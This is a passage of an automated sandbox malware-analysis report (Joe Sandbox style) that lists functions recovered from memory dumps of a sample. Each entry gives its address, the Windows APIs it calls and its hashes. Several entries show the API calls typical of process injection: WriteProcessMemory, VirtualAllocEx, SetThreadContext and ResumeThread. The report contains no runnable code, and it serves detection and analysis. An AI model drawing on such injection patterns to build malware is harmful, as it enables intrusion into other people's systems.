                                          • Instruction Fuzzy Hash: 012157B19003499FDB10CFA9C985BDEBBF5FF48324F10842AE958A7250D7789945CFA4
                                          Function 01060A48 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON
                                          Download Yara Rule
                                          APIs
                                          • WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 01060AD8
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1659389608.0000000001060000.00000040.00000800.00020000.00000000.sdmp, Offset: 01060000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_1060000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: MemoryProcessWrite
                                          • String ID:
                                          • API String ID: 3559483778-0
                                          • Opcode ID: 0b1fc5c70a04e2bfc474ba4148a07e10b1699152aa8a3e033d0e286f72b9fcc7
                                          • Instruction ID: 8262c82ced407c80cc13eabb58a3469b8d7930efa859ccdc619ed63a1f1d0d1d
                                          • Opcode Fuzzy Hash: 0b1fc5c70a04e2bfc474ba4148a07e10b1699152aa8a3e033d0e286f72b9fcc7
                                          • Instruction Fuzzy Hash: A62125B19003599FDB10CFA9C985BDEBBF5FF48324F10842AE958A7250D778A944CBA4
                                          Function 0106321A Relevance: 1.6, APIs: 1, Instructions: 66windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • PostMessageW.USER32(?,?,?,?), ref: 010631E5
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1659389608.0000000001060000.00000040.00000800.00020000.00000000.sdmp, Offset: 01060000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_1060000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: MessagePost
                                          • String ID:
                                          • API String ID: 410705778-0
                                          • Opcode ID: 880fb0997783200ef1973fbc709889a9ecbdaca97cb7daa72a360a6bee9391c3
                                          • Instruction ID: f762a808d1ed723ab8ef2a2e0040c8f864ec17ac9972e3b5cb73db46719f8d3d
                                          • Opcode Fuzzy Hash: 880fb0997783200ef1973fbc709889a9ecbdaca97cb7daa72a360a6bee9391c3
                                          • Instruction Fuzzy Hash: 4821AC71D002198BEB20CBA9D8497EEBBF8BF44304F14845AD489BB290C7791945CBE0
                                          Function 01060B38 Relevance: 1.6, APIs: 1, Instructions: 63COMMON
                                          Download Yara Rule
                                          APIs
                                          • ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 01060BB8
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1659389608.0000000001060000.00000040.00000800.00020000.00000000.sdmp, Offset: 01060000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_1060000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: MemoryProcessRead
                                          • String ID:
                                          • API String ID: 1726664587-0
                                          • Opcode ID: dbd0f4a6e1e5eb8ab087af9055f75023881e660d96c7bf45b22c1829fd57cd62
                                          • Instruction ID: b0faf3b448921de55a476ecd2cccaf4260e94a69a787f67bf923d13db1b285ff
                                          • Opcode Fuzzy Hash: dbd0f4a6e1e5eb8ab087af9055f75023881e660d96c7bf45b22c1829fd57cd62
                                          • Instruction Fuzzy Hash: D52128B18003599FDB10DFAAC845ADEFBF5FF48324F10842AE559A7250D7349944CBA5
                                          Function 01060472 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON
                                          Download Yara Rule
                                          APIs
                                          • Wow64SetThreadContext.KERNEL32(?,00000000), ref: 010604F6
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1659389608.0000000001060000.00000040.00000800.00020000.00000000.sdmp, Offset: 01060000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_1060000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: ContextThreadWow64
                                          • String ID:
                                          • API String ID: 983334009-0
                                          • Opcode ID: 686afee19080fdc84b03760639c45a1f7b3ac14f149620f00026b7b48472c10a
                                          • Instruction ID: c5dc6a2887d09beba4e7fbb6b49c29666e0da304376c13f087fa465092cb1950
                                          • Opcode Fuzzy Hash: 686afee19080fdc84b03760639c45a1f7b3ac14f149620f00026b7b48472c10a
                                          • Instruction Fuzzy Hash: 652139B19002498FDB10DFADC484BEEBFF4AF89324F14842ED559A7241CB789945CFA5
                                          Function 01060478 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON
                                          Download Yara Rule
                                          APIs
                                          • Wow64SetThreadContext.KERNEL32(?,00000000), ref: 010604F6
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1659389608.0000000001060000.00000040.00000800.00020000.00000000.sdmp, Offset: 01060000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_1060000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: ContextThreadWow64
                                          • String ID:
                                          • API String ID: 983334009-0
                                          • Opcode ID: e7d97b39d510b676b589a9897e5159cccbdeddfc1e034a8119f15bce7ecad46d
                                          • Instruction ID: 6f8e548945d552567ef2784044c1cb5bb8382b04d7a3b27931d1b6c0d1831056
                                          • Opcode Fuzzy Hash: e7d97b39d510b676b589a9897e5159cccbdeddfc1e034a8119f15bce7ecad46d
                                          • Instruction Fuzzy Hash: D12118B19002098FDB10DFAEC4857EEBFF4EF88324F14842AD559A7241DB789945CFA5
                                          Function 010BE258 Relevance: 1.6, APIs: 1, Instructions: 62COMMON
                                          Download Yara Rule
                                          APIs
                                          • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 010BE2DF
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1659455589.00000000010B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010B0000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_10b0000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: DuplicateHandle
                                          • String ID:
                                          • API String ID: 3793708945-0
                                          • Opcode ID: 277ddce4452e462d5e5d9ffa768a98efe917c54133e6bae27236aa131fe44af1
                                          • Instruction ID: 6e9891d7a5666620b0e9340bb70bc3e19562b83f49c8c43495ad069b3d7d8358
                                          • Opcode Fuzzy Hash: 277ddce4452e462d5e5d9ffa768a98efe917c54133e6bae27236aa131fe44af1
                                          • Instruction Fuzzy Hash: 0921F3B59002199FDB10CFAAD984ADEFFF8FB48320F14841AE958A3310D374A944CFA5
                                          Function 010BB888 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON
                                          Download Yara Rule
                                          APIs
                                          • LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,010BC121,00000800,00000000,00000000), ref: 010BC332
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1659455589.00000000010B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010B0000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_10b0000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: LibraryLoad
                                          • String ID:
                                          • API String ID: 1029625771-0
                                          • Opcode ID: a9134829558fae5df219dc78d3ce9ae0b9fcab12b39c0364855836878fd19a4f
                                          • Instruction ID: 2e7131dfa5f1e26c5175a2e954e3e7bf95331dadd55100859aab0fba8cd52b2e
                                          • Opcode Fuzzy Hash: a9134829558fae5df219dc78d3ce9ae0b9fcab12b39c0364855836878fd19a4f
                                          • Instruction Fuzzy Hash: A81123B69003499FDB10CF9AD584ADEFBF4EB88320F10842AE959A7350C375A945CFA5
                                          Function 01060550 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON
                                          Download Yara Rule
                                          APIs
                                          • VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 010605BE
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1659389608.0000000001060000.00000040.00000800.00020000.00000000.sdmp, Offset: 01060000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_1060000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: AllocVirtual
                                          • String ID:
                                          • API String ID: 4275171209-0
                                          • Opcode ID: 596dda7e15bebf448c9ca05b22ac5a648a8e9bbe34dba006e6e5a23f2d8850bb
                                          • Instruction ID: 3337b81dd0ffa984829cae22d0e933bad2effb40a24fe26cf2e03eb83fc0a8c2
                                          • Opcode Fuzzy Hash: 596dda7e15bebf448c9ca05b22ac5a648a8e9bbe34dba006e6e5a23f2d8850bb
                                          • Instruction Fuzzy Hash: 291126B19002499FDB10DFAAC844ADFBFF5EF88324F10881AE559A7250CB75A944CFA5
                                          Function 0794FDC0 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664146622.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7940000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: ResumeThread
                                          • String ID:
                                          • API String ID: 947044025-0
                                          • Opcode ID: b3059870ad99dffcea582766c175a33c9f497caf566da4dcc14c3fcb6ecf8d06
                                          • Instruction ID: c2d8d396c40355abfa5b8921a9dc4678b75d220eca844656749fcadab1a30049
                                          • Opcode Fuzzy Hash: b3059870ad99dffcea582766c175a33c9f497caf566da4dcc14c3fcb6ecf8d06
                                          • Instruction Fuzzy Hash: 98116AB19003498FCB20DFAAC4447DFFBF5EB88324F248419C459A7250CB34A944CF94
                                          Function 01063180 Relevance: 1.5, APIs: 1, Instructions: 48windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • PostMessageW.USER32(?,?,?,?), ref: 010631E5
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1659389608.0000000001060000.00000040.00000800.00020000.00000000.sdmp, Offset: 01060000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_1060000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: MessagePost
                                          • String ID:
                                          • API String ID: 410705778-0
                                          • Opcode ID: 9f67555d56cb6a8332b6e64c3dcb7452b43ecbc3e3c4ade05116904f5c06534b
                                          • Instruction ID: 80c306e8449edaaf888cebc425e1e26aae4ab81f170d20a24b282fa587170b2a
                                          • Opcode Fuzzy Hash: 9f67555d56cb6a8332b6e64c3dcb7452b43ecbc3e3c4ade05116904f5c06534b
                                          • Instruction Fuzzy Hash: 6D11E3B58002499FDB10CF99D485BDEFFF8EB48324F10845AE958AB611C375A944CFA1
                                          Function 010BC040 Relevance: 1.5, APIs: 1, Instructions: 47COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetModuleHandleW.KERNELBASE(00000000), ref: 010BC0A6
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1659455589.00000000010B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010B0000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_10b0000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: HandleModule
                                          • String ID:
                                          • API String ID: 4139908857-0
                                          • Opcode ID: f9dd60f3cf1ac29a14988ce9d4153b620360cf405e6fb74e3a0746705f047d46
                                          • Instruction ID: 29d221e13ed814b5be719632545bfbdf65d8529e8e4bdc2a0245170b7006d1ba
                                          • Opcode Fuzzy Hash: f9dd60f3cf1ac29a14988ce9d4153b620360cf405e6fb74e3a0746705f047d46
                                          • Instruction Fuzzy Hash: 141110B5C003498FDB10DF9AD544ADEFBF4AB89324F10846AD898B7210D375A949CFA1
                                          Function 01063188 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • PostMessageW.USER32(?,?,?,?), ref: 010631E5
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1659389608.0000000001060000.00000040.00000800.00020000.00000000.sdmp, Offset: 01060000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_1060000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: MessagePost
                                          • String ID:
                                          • API String ID: 410705778-0
                                          • Opcode ID: 455f42828ede2ccabb4c8307bd8d41c177a330d2376802e27cf3e82ec358f24b
                                          • Instruction ID: 722b55422697fe7a70a12d6165653bfca100d7177b2808dff983ca78730f9e91
                                          • Opcode Fuzzy Hash: 455f42828ede2ccabb4c8307bd8d41c177a330d2376802e27cf3e82ec358f24b
                                          • Instruction Fuzzy Hash: 4E11C2B5800249DFDB10DF9AD945BDEBBF8EB48324F10845AD958A7210C375A944CFA5
                                          Function 07927A28 Relevance: .7, Instructions: 730COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: a5c19e0b8c3ecec8324ed4cdd7fb78b85f3981f7e57c6907563230e43c34dc87
                                          • Instruction ID: ccb2b943c85b46fa1a0ccac36646259d746880c6993e976d80287c0135ce48a0
                                          • Opcode Fuzzy Hash: a5c19e0b8c3ecec8324ed4cdd7fb78b85f3981f7e57c6907563230e43c34dc87
                                          • Instruction Fuzzy Hash: 4A723E31D10619CFCB14EF68C894AADB7B1FF55304F00869AD549A7265EF30AADACF81
                                          Function 079249D1 Relevance: .6, Instructions: 555COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 30720013d9aa4ea878e456500919eb6f984416b6f2292cf7c1336fbd9efc5a83
                                          • Instruction ID: b55bbdf1af697430106ca82d63aeb06b753d13716b124722f3c9a3002f01684c
                                          • Opcode Fuzzy Hash: 30720013d9aa4ea878e456500919eb6f984416b6f2292cf7c1336fbd9efc5a83
                                          • Instruction Fuzzy Hash: ED420871E1076ACBCB14EF68C8846DDB7B1BF89304F1186A9D419B7265EB70AE85CF40
                                          Function 079292C8 Relevance: .5, Instructions: 500COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 21875348b27bbb24e61b98ee7bdc10679d682912a42a0b611008f58779e4bee3
                                          • Instruction ID: a8425f7b3c84c9960f339796f3264e95d9b36923e3de9d5295be67e541f76dfa
                                          • Opcode Fuzzy Hash: 21875348b27bbb24e61b98ee7bdc10679d682912a42a0b611008f58779e4bee3
                                          • Instruction Fuzzy Hash: 6C221974A10615CFCB14EF68C894B9DB7B2BF89318F1485A8D40AAB365DB31ED46CF50
                                          Function 07927B58 Relevance: .4, Instructions: 418COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 5ad3fe4757a8d5dbe82d3720f741de18f2e380c0ebf2f132ab3e94ff51ca7f53
                                          • Instruction ID: 0b50161d73b3ff15859286885e19abe4f5f6f13948711c1662e2cded9a6a4bef
                                          • Opcode Fuzzy Hash: 5ad3fe4757a8d5dbe82d3720f741de18f2e380c0ebf2f132ab3e94ff51ca7f53
                                          • Instruction Fuzzy Hash: F1121D71900619CFCB14EF68C894AE9B7B1FF55304F008699D94AA7265EF30AED6CF81
                                          Function 0792E0C2 Relevance: .4, Instructions: 392COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 330213154a14b62e7df018b6d81748c242529d306e2c56a1c7ec972d62dba823
                                          • Instruction ID: 549500d8b06ae52ec884304d794965798c436b596c955d565e08794c447b1138
                                          • Opcode Fuzzy Hash: 330213154a14b62e7df018b6d81748c242529d306e2c56a1c7ec972d62dba823
                                          • Instruction Fuzzy Hash: 6E023D70A00229CFCB14DF68C988A9DB7B6FF45314F5585A9D809AB369DB30ED86CF50
                                          Function 0792D900 Relevance: .3, Instructions: 322COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: e9ba0a9e9c9686a18edaf60e5398d6bb6e3b0c68fa48ea95d082579f5c7db417
                                          • Instruction ID: af6b41aff8f2d49a47baa6832fa0691448d31807d15b057bd6787d05992c5297
                                          • Opcode Fuzzy Hash: e9ba0a9e9c9686a18edaf60e5398d6bb6e3b0c68fa48ea95d082579f5c7db417
                                          • Instruction Fuzzy Hash: 05C124B1604716DFC711DF28C880A6AFBF5FF85318F14856AD445CB256D770E98ACBA0
                                          Function 07928F00 Relevance: .3, Instructions: 268COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 4d84d55a9de72f1dcd6ead69e4eed324c4ae3ad56e5e5b84c2744905882dd6e6
                                          • Instruction ID: ac4cbff0dfa4605ea3d1f606c34f3033fa5db51b153786d7a7fe4c95cd3f8881
                                          • Opcode Fuzzy Hash: 4d84d55a9de72f1dcd6ead69e4eed324c4ae3ad56e5e5b84c2744905882dd6e6
                                          • Instruction Fuzzy Hash: 5BC11874A1061ACFCB14EF69C884A9DB7B5FF89314F1186A9D409BB365EB30AD85CF40
                                          Function 07928ED1 Relevance: .2, Instructions: 222COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 929c83561b7bcdde96cd947edd7316b5a223a8ef87a9a7fd9c28ce1c2963d388
                                          • Instruction ID: 578612f5de5c94711e2679748cde64de2ae6b2de3d38f5983bd054b6418abdfd
                                          • Opcode Fuzzy Hash: 929c83561b7bcdde96cd947edd7316b5a223a8ef87a9a7fd9c28ce1c2963d388
                                          • Instruction Fuzzy Hash: 8FA10874A10619CFCB14DF68C884A98B7B1FF89314F1586A9D449BB325EB71AE85CF40
                                          Function 079273AA Relevance: .2, Instructions: 202COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 87d9d3e72ecf6d9288cc4fd2fe89a61e6690d811c43eecb2aa8c1e1f71835db7
                                          • Instruction ID: 8f525ad1f078d059009ccce144a343de3c18a2102a6738928fcd1e6d11c570ae
                                          • Opcode Fuzzy Hash: 87d9d3e72ecf6d9288cc4fd2fe89a61e6690d811c43eecb2aa8c1e1f71835db7
                                          • Instruction Fuzzy Hash: 4B91F77190071ADFCB01EFA8C880999FBF5FF49310B14879AE919AB255E770E995CB80
                                          Function 07926310 Relevance: .2, Instructions: 183COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 3aee0e15df8009e515b873c84f539022bffe0792a14e1dc490032c2455ced7d2
                                          • Instruction ID: eaf2c7ff48881943b7791121d1ecdf7b3a09e4372fa5d2e7374dfa31771ea65f
                                          • Opcode Fuzzy Hash: 3aee0e15df8009e515b873c84f539022bffe0792a14e1dc490032c2455ced7d2
                                          • Instruction Fuzzy Hash: 9871EDB9200A50CFC718DF29C488959BBF2FF8921871589A9E54ACB772DB72EC45CF50
                                          Function 07926130 Relevance: .2, Instructions: 172COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: a9e3924cc9232cd8843615590371c0fe90bc65186b9df600defa1962a9437eff
                                          • Instruction ID: 6ff0ae7c9283ca47a4bb54cc9cc92cf47fc482181f325ab63c77cf3e581a3353
                                          • Opcode Fuzzy Hash: a9e3924cc9232cd8843615590371c0fe90bc65186b9df600defa1962a9437eff
                                          • Instruction Fuzzy Hash: 7A71B1B4A052168FCB04DF69C584999FBF1BF4D314B1986AAE80ADB716D730EC85CF90
                                          Function 0792CEF0 Relevance: .2, Instructions: 166COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 56132c5c6f85921647ac9303806a40866f7d07ea4c351870dab3687680e22e64
                                          • Instruction ID: 0f76e7276fa2c4e102e72a562688b5624f27145547f2dbbce9228a49aafe54d9
                                          • Opcode Fuzzy Hash: 56132c5c6f85921647ac9303806a40866f7d07ea4c351870dab3687680e22e64
                                          • Instruction Fuzzy Hash: F7617471A10619CFCB10EFA8D8559EEFBB5FF89300F008519E506A7354EB34A986CB91
                                          Function 079292B9 Relevance: .2, Instructions: 166COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: e034a8149edf3c0203eb4afac0153b699faaa6c5d5c072ab96e82f474ad34056
                                          • Instruction ID: c3b0d9e62c54bb7cebc64dbd432cd9e5e349ab6c8259ddc9ad82aa218ef243a4
                                          • Opcode Fuzzy Hash: e034a8149edf3c0203eb4afac0153b699faaa6c5d5c072ab96e82f474ad34056
                                          • Instruction Fuzzy Hash: E3617C706106118FCB14EF28C894B9DB7E6FF89314F1485B8D51AAB3A5DB71E80ACB61
                                          Function 0792CF00 Relevance: .2, Instructions: 160COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 5758198947dc42bed6f576313bf2a9057ebfe02e41bb6cf21fb2e920d4025122
                                          • Instruction ID: b923ade1aa965fe9d4d21150e7456a7e2b7bf0f5ab0a5efb50d502606179beb7
                                          • Opcode Fuzzy Hash: 5758198947dc42bed6f576313bf2a9057ebfe02e41bb6cf21fb2e920d4025122
                                          • Instruction Fuzzy Hash: 0B617270A10619CFCB00EFA8D8559EEFBB5FF89300F008529E546A7354EB74A996CF81
                                          Function 07920F88 Relevance: .2, Instructions: 150COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 6fa1b0507e2b46c86157002a6bbb98d87648920a067098c2ca541d928a5beea3
                                          • Instruction ID: 1d5dbfd596002ba948e8723b9cbc97b5a01c7ab423822005de7d508196cd06c2
                                          • Opcode Fuzzy Hash: 6fa1b0507e2b46c86157002a6bbb98d87648920a067098c2ca541d928a5beea3
                                          • Instruction Fuzzy Hash: 1A511834A10619CFCB04EF68C8989ADB7B5FF89704F1545A9E5069B371EB70ED46CB40
                                          Function 07920F98 Relevance: .1, Instructions: 143COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 429b2adc9822a71b118ace078ab31a9f291a64662bd7480178e3bfd5ea9abcec
                                          • Instruction ID: e9784dcfdd017886e0f292bdbe595e6e57aed14a6702a968bcd282e0a93e93f6
                                          • Opcode Fuzzy Hash: 429b2adc9822a71b118ace078ab31a9f291a64662bd7480178e3bfd5ea9abcec
                                          • Instruction Fuzzy Hash: E6511734A10619CFCB04EF68C8989ADB7B5FF89704F1185A9E5069B335EB71EC46CB40
                                          Function 079230F0 Relevance: .1, Instructions: 127COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 988d0836969206896dfcf530f8a00cce0dacbaf87d779d353317f5fd49d9598d
                                          • Instruction ID: 448de44a2c1ab10735292c6dd6190be5cbb59ac9575eff5b071e96b777c85e12
                                          • Opcode Fuzzy Hash: 988d0836969206896dfcf530f8a00cce0dacbaf87d779d353317f5fd49d9598d
                                          • Instruction Fuzzy Hash: 5141B831A107099FCF04EFA8C944A9EBBB6FF89304F118569E505AB325EB34E945CF91
                                          Function 079216D8 Relevance: .1, Instructions: 112COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: f8724f0141d4a4080478f59b768758bd826e077f7175df62b5c259fc3189559a
                                          • Instruction ID: 4148f6f6c8f937337908495df1e61a05291f775904782195a89a9026e99bf993
                                          • Opcode Fuzzy Hash: f8724f0141d4a4080478f59b768758bd826e077f7175df62b5c259fc3189559a
                                          • Instruction Fuzzy Hash: 794128B0B412299FCF05EBA8D4846AEB7F6BF89208F104529E506E7354DB74AD52CB81
                                          Function 0792566A Relevance: .1, Instructions: 105COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 3f5f38f7701a137dab3cad77e9e08c78920bbca80481e00bea2760e013bb014e
